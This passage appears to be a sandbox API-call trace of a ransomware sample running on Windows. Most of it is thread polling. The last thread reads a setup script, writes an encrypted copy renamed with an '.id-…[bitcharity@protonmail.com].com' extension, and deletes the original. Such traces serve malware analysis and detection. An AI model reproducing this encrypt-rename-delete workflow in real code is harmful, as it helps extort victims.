(hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0138.751] GetTickCount () returned 0x264ab [0138.751] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0138.986] GetTickCount () returned 0x26596 [0138.986] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0139.406] GetTickCount () returned 0x2673c [0139.406] GetTickCount () returned 0x2673c [0139.406] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0139.573] GetTickCount () returned 0x267e7 [0139.573] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0139.922] GetTickCount () returned 0x2693f [0139.922] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0140.401] GetTickCount () returned 0x26b14 [0140.401] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0140.506] GetTickCount () returned 0x26b81 [0140.506] GetTickCount () returned 0x26b81 [0140.506] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0140.629] GetTickCount () returned 0x26bfe [0140.629] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0140.960] GetTickCount () returned 0x26d46 [0140.960] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.167] GetTickCount () returned 0x26e21 [0141.168] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.356] GetTickCount () returned 0x26edd [0141.356] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.592] GetTickCount () returned 0x26fc7 [0141.592] GetTickCount () returned 0x26fc7 [0141.592] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.744] GetTickCount () returned 0x27054 [0141.744] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.843] GetTickCount () returned 0x270c1 [0141.843] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0141.950] GetTickCount () returned 0x2712e [0141.950] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0142.061] GetTickCount () returned 0x2719c [0142.061] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0142.170] GetTickCount () returned 0x27209 [0142.171] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0142.375] GetTickCount () returned 0x272d4 [0142.375] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0142.499] GetTickCount () returned 0x27351 [0142.499] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0143.726] GetTickCount () returned 0x27814 [0143.726] GetTickCount () returned 0x27814 [0143.726] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0144.385] GetTickCount () returned 0x27aa4 [0144.385] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0144.804] GetTickCount () returned 0x27c4a [0144.804] GetTickCount () returned 0x27c4a [0144.804] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0145.219] GetTickCount () returned 0x27df0 [0145.220] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0145.842] GetTickCount () returned 0x28061 [0145.842] GetTickCount () returned 0x28061 [0145.842] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0146.681] GetTickCount () returned 0x283ad [0146.681] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0147.146] GetTickCount () returned 0x28572 [0147.146] GetTickCount () returned 0x28572 [0147.146] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0147.714] GetTickCount () returned 0x287b4 [0147.714] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0148.022] GetTickCount () returned 0x288ed [0148.022] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0148.348] GetTickCount () returned 0x28a25 [0148.348] GetTickCount () returned 0x28a25 [0148.348] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0148.576] GetTickCount () returned 0x28b00 [0148.576] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0148.979] GetTickCount () returned 0x28ca6 [0148.979] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0149.324] GetTickCount () returned 0x28dfd [0149.324] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0149.452] GetTickCount () returned 0x28e7a [0149.452] GetTickCount () returned 0x28e7a [0149.452] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0150.157] GetTickCount () returned 0x2913a [0150.158] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0150.832] GetTickCount () returned 0x293d9 [0150.832] GetTickCount () returned 0x293d9 [0150.832] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0151.333] GetTickCount () returned 0x295cd [0151.333] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0151.585] GetTickCount () returned 0x296c7 [0151.585] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0152.000] GetTickCount () returned 0x2986d [0152.000] GetTickCount () returned 0x2986d [0152.000] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0152.580] GetTickCount () returned 0x29aaf [0152.580] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0153.424] GetTickCount () returned 0x29dfb [0153.424] GetTickCount () returned 0x29dfb [0153.424] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0154.342] GetTickCount () returned 0x2a195 [0154.342] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0155.055] GetTickCount () returned 0x2a454 [0155.055] GetTickCount () returned 0x2a454 [0155.055] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0155.866] GetTickCount () returned 0x2a781 [0155.866] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) Thread: id = 848 os_tid = 0x1b70 [0126.616] GetTickCount () returned 0x2353f [0126.616] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x647268 [0126.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0126.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0126.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc [0126.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0126.619] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x656490 [0126.619] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656490, Size=0x20) returned 0x5e3a28 [0126.619] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x656478 [0126.619] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656478, Size=0x20) returned 0x5e3848 [0126.619] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0126.619] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0126.619] Wow64DisableWow64FsRedirection (in: OldValue=0x250ff7c | out: OldValue=0x250ff7c*=0x0) returned 1 [0126.619] lstrlenW (lpString="kernel32.dll") returned 12 [0126.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0126.619] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0126.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x634ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0126.620] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0127.922] GetTickCount () returned 0x23a5f [0127.922] GetTickCount () returned 0x23a5f [0127.922] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0128.180] GetTickCount () returned 0x23b69 [0128.180] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0128.361] GetTickCount () returned 0x23c15 [0128.361] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0128.482] GetTickCount () returned 0x23c92 [0128.482] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0128.825] GetTickCount () returned 0x23de9 [0128.825] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0128.937] GetTickCount () returned 0x23e57 [0128.937] GetTickCount () returned 0x23e57 [0128.938] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0129.040] GetTickCount () returned 0x23ec4 [0129.040] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0129.149] GetTickCount () returned 0x23f32 [0129.149] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0129.558] GetTickCount () returned 0x240c8 [0129.558] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0129.767] GetTickCount () returned 0x24193 [0129.767] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.191] GetTickCount () returned 0x24329 [0130.191] GetTickCount () returned 0x24329 [0130.191] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.404] GetTickCount () returned 0x24404 [0130.404] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.533] GetTickCount () returned 0x24481 [0130.533] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.649] GetTickCount () returned 0x244fe [0130.649] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.806] GetTickCount () returned 0x2459a [0130.806] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0130.932] GetTickCount () returned 0x24617 [0130.932] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0131.272] GetTickCount () returned 0x2476f [0131.272] GetTickCount () returned 0x2476f [0131.272] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0131.596] GetTickCount () returned 0x248b7 [0131.596] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0131.828] GetTickCount () returned 0x249a1 [0131.828] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.061] GetTickCount () returned 0x24a8c [0132.061] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.208] GetTickCount () returned 0x24b18 [0132.208] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.326] GetTickCount () returned 0x24b86 [0132.326] GetTickCount () returned 0x24b86 [0132.326] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.540] GetTickCount () returned 0x24c61 [0132.540] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.657] GetTickCount () returned 0x24cde [0132.657] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.774] GetTickCount () returned 0x24d4b [0132.774] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0132.906] GetTickCount () returned 0x24dd8 [0132.906] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.018] GetTickCount () returned 0x24e45 [0133.018] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.124] GetTickCount () returned 0x24eb2 [0133.124] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.233] GetTickCount () returned 0x24f20 [0133.233] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.402] GetTickCount () returned 0x24fbc [0133.402] GetTickCount () returned 0x24fbc [0133.402] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.531] GetTickCount () returned 0x25049 [0133.531] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.640] GetTickCount () returned 0x250b6 [0133.640] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.749] GetTickCount () returned 0x25123 [0133.749] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0133.884] GetTickCount () returned 0x251a0 [0133.884] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.009] GetTickCount () returned 0x2521d [0134.009] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.121] GetTickCount () returned 0x2528b [0134.121] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.243] GetTickCount () returned 0x25308 [0134.243] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.346] GetTickCount () returned 0x25375 [0134.346] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.453] GetTickCount () returned 0x253e2 [0134.453] GetTickCount () returned 0x253e2 [0134.453] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0134.580] GetTickCount () returned 0x2545f [0134.580] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.059] GetTickCount () returned 0x25634 [0135.059] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.183] GetTickCount () returned 0x256b1 [0135.183] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.340] GetTickCount () returned 0x2574d [0135.340] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.440] GetTickCount () returned 0x257bb [0135.440] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.572] GetTickCount () returned 0x25838 [0135.572] GetTickCount () returned 0x25838 [0135.572] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.695] GetTickCount () returned 0x258b5 [0135.695] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0135.821] GetTickCount () returned 0x25932 [0135.821] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0136.306] GetTickCount () returned 0x25b16 [0136.306] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0136.773] GetTickCount () returned 0x25ceb [0136.773] GetTickCount () returned 0x25ceb [0136.773] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0137.105] GetTickCount () returned 0x25e33 [0137.105] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0137.377] GetTickCount () returned 0x25f4c [0137.377] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0137.594] GetTickCount () returned 0x26027 [0137.594] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0137.717] GetTickCount () returned 0x26094 [0137.717] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0138.168] GetTickCount () returned 0x2625a [0138.168] GetTickCount () returned 0x2625a [0138.168] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0138.555] GetTickCount () returned 0x263e0 [0138.555] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0138.751] GetTickCount () returned 0x264ab [0138.751] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0138.986] GetTickCount () returned 0x26596 [0138.986] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0139.407] GetTickCount () returned 0x2673c [0139.407] GetTickCount () returned 0x2673c [0139.407] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0139.573] GetTickCount () returned 0x267e7 [0139.573] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0139.922] GetTickCount () returned 0x2693f [0139.922] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0140.401] GetTickCount () returned 0x26b14 [0140.401] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0140.506] GetTickCount () returned 0x26b81 [0140.506] GetTickCount () returned 0x26b81 [0140.506] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0140.629] GetTickCount () returned 0x26bfe [0140.629] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0140.960] GetTickCount () returned 0x26d46 [0140.960] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.167] GetTickCount () returned 0x26e21 [0141.167] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.355] GetTickCount () returned 0x26edd [0141.355] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.592] GetTickCount () returned 0x26fc7 [0141.592] GetTickCount () returned 0x26fc7 [0141.592] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.744] GetTickCount () returned 0x27054 [0141.744] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.843] GetTickCount () returned 0x270c1 [0141.843] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0141.950] GetTickCount () returned 0x2712e [0141.950] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0142.061] GetTickCount () returned 0x2719c [0142.061] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0142.171] GetTickCount () returned 0x27209 [0142.171] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0142.375] GetTickCount () returned 0x272d4 [0142.375] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0142.499] GetTickCount () returned 0x27351 [0142.499] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0143.726] GetTickCount () returned 0x27814 [0143.726] GetTickCount () returned 0x27814 [0143.726] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0144.385] GetTickCount () returned 0x27aa4 [0144.386] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0144.804] GetTickCount () returned 0x27c4a [0144.804] GetTickCount () returned 0x27c4a [0144.804] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0145.219] GetTickCount () returned 0x27df0 [0145.219] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0145.842] GetTickCount () returned 0x28061 [0145.842] GetTickCount () returned 0x28061 [0145.842] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0146.681] GetTickCount () returned 0x283ad [0146.681] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0147.146] GetTickCount () returned 0x28572 [0147.146] GetTickCount () returned 0x28572 [0147.146] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0147.714] GetTickCount () returned 0x287b4 [0147.714] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0148.022] GetTickCount () returned 0x288ed [0148.022] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0148.348] GetTickCount () returned 0x28a25 [0148.348] GetTickCount () returned 0x28a25 [0148.348] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0148.576] GetTickCount () returned 0x28b00 [0148.576] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0148.979] GetTickCount () returned 0x28ca6 [0148.979] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0149.324] GetTickCount () returned 0x28dfd [0149.324] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0149.452] GetTickCount () returned 0x28e7a [0149.452] GetTickCount () returned 0x28e7a [0149.452] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0150.158] GetTickCount () returned 0x2913a [0150.158] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0150.832] GetTickCount () returned 0x293d9 [0150.832] GetTickCount () returned 0x293d9 [0150.832] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0151.333] GetTickCount () returned 0x295cd [0151.333] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0151.585] GetTickCount () returned 0x296c7 [0151.585] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0152.000] GetTickCount () returned 0x2986d [0152.000] GetTickCount () returned 0x2986d [0152.000] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0152.580] GetTickCount () returned 0x29aaf [0152.580] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0153.424] GetTickCount () returned 0x29dfb [0153.424] GetTickCount () returned 0x29dfb [0153.425] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0154.342] GetTickCount () returned 0x2a195 [0154.342] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0155.055] GetTickCount () returned 0x2a454 [0155.055] GetTickCount () returned 0x2a454 [0155.055] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) returned 0x102 [0155.866] GetTickCount () returned 0x2a781 [0155.866] WaitForSingleObject (hHandle=0xfe4, dwMilliseconds=0x64) Thread: id = 851 os_tid = 0x474 [0128.614] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x667b30 [0128.614] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x677b38 [0128.615] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647c48 [0128.615] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656300 [0128.615] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647be8 [0128.615] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x349b020 [0128.618] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.618] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.618] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.618] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.618] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.618] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.618] Wow64DisableWow64FsRedirection (in: OldValue=0x2a0ff50 | out: OldValue=0x2a0ff50*=0x0) returned 1 [0128.618] lstrlenW (lpString="kernel32.dll") returned 12 [0128.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.619] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.619] Sleep (dwMilliseconds=0x64) [0128.884] lstrcmpiW (lpString1=".cmd", lpString2=".com") returned -1 [0128.884] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0128.884] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1074 [0129.913] GetFileSizeEx (in: hFile=0x1074, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=307) returned 1 [0129.913] CloseHandle (hObject=0x1074) returned 1 [0129.913] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0129.913] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.930] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0129.931] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.931] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.931] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1074 [0129.946] GetLastError () returned 0x0 [0129.946] ReadFile (in: hFile=0x1068, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x133, lpOverlapped=0x0) returned 1 [0129.958] WriteFile (in: hFile=0x1074, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x140, lpOverlapped=0x0) returned 1 [0129.960] ReadFile (in: hFile=0x1068, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.960] WriteFile (in: hFile=0x1074, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf6, lpOverlapped=0x0) returned 1 [0129.962] SetEndOfFile (hFile=0x1074) returned 1 [0129.962] CloseHandle (hObject=0x1074) returned 1 [0129.963] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.963] SetEndOfFile (hFile=0x1068) returned 1 [0129.964] CloseHandle (hObject=0x1068) returned 1 [0129.964] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.965] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0129.965] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0129.965] lstrlenW 